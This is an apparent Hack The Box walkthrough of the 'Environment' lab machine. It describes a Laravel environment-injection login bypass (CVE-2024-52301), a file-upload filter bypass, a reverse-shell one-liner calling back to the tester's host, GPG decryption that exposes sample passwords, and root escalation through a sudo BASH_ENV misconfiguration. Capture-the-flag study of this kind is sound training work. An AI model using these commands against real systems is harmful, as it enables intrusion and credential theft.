Login
Hack The Box: Environment Machine Walkthough-Medium Difficulty
Introduction to Environment:
In this write-up, we will explore the “Environment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective for the Environment machine:
The goal of this walkthrough is to complete the “Environment” machine from Hack The Box by achieving the following objectives:
User Flag:
The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.
Root Flag:
To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User “hish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.10.10Nmap Output:
# Nmap 7.94SVN scan initiated Sun May 4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 secondsAnalysis:
- Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
- Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb
Web Enumeration on the Environment machine:
Perform web enumeration to discover potentially exploitable directories and files.
gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt Gobuster Output:
┌─[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 2391]
/upload (Status: 405) [Size: 244852]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up (Status: 200) [Size: 2125]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================
Analysis:
- login (200): Login page, likely entry point for authentication.
- /upload (405): Upload functionality present but restricted (Method Not Allowed).
- /storage (301): Redirects to http://environment.htb/storage/.
- /up (200): Page accessible, may contain system or application status.
- /logout (302): Redirects back to login page.
- /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
- /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
- /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).
Exploration for the Environment Machine
The website displays a standard interface with no obvious points of exploitation.
The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.
Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.
Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC
Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.
Source: Laravel 11.30.0 Exploit: What You Need to Know
On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.
Enumeration and Proof-of-Concept Testing for CVE-2024-52301
We will test the login page with blind credential attempts to see if any weak or default accounts accept access.
This is how the request and response appear when viewed through Burp Suite.
The request packet includes a parameter Remember=false, and the server responds with “Invalid Credentials“, indicating failed authentication.
Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.
Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.
The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.
Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.
This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the “Remember Me” functionality during authentication.
Modify the remember parameter to use a value other than false or true.
This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the “Remember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboard—essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.
Source: CVE-2024-52301 POC
Bypassing Environment with ?–env=production
When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.
By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).
After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.
We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.
To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.
However, the upload attempt returned an error message in the browser: “Unexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.
Renaming the uploaded file with a .php extension prompted the application to respond with “Invalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.
UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation
The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.
Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.
Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities
If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute code—this approach highlights risky upload behaviors without knowing the exact version.
Modify the PHP file’s name by adding a “.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.
The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.
The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.
File Upload & Reverse Shell
Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.
The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.
Set up a listener on your machine to catch the reverse shell
We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.
The connection did not trigger.
We started a Python HTTP server to host the payload for the target system to retrieve.
User “hish” attempted to retrieve a file using curl from the machine but received a “File not found” response.
We consolidated all the bash commands into a new script file to simplify execution.
Let’s attempt to fetch shell.sh from our machine.
Unexpectedly, nothing was detected.
Let’s run the bash command shown above
bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27Surprisingly, it worked perfectly.
We can read the user flag with the command cat user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.
GnuPG Key Inspection
We discovered a .gnupg directory.
Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.
Decrypting the Backup File with GPG
The /tmp directory is empty and contains no files of interest.
User “hish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.
The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.
After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.
The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.
Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.
After some time, we successfully retrieved message.txt, which may contain potentially useful information.
The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.
Accessing User Hish’s Privileges
The password “marineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.
We can connect using SSH.
Privilege Escalation with systeminfo
The sudo -l Output for user “hish” on the “environment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing “hish” to bypass restrictions and escalate privileges when running the allowed command.
User “hish” on the “environment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.
User “hish” on the “environment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows “hish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.
We can read the user flag with the command cat user.txt.
The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.
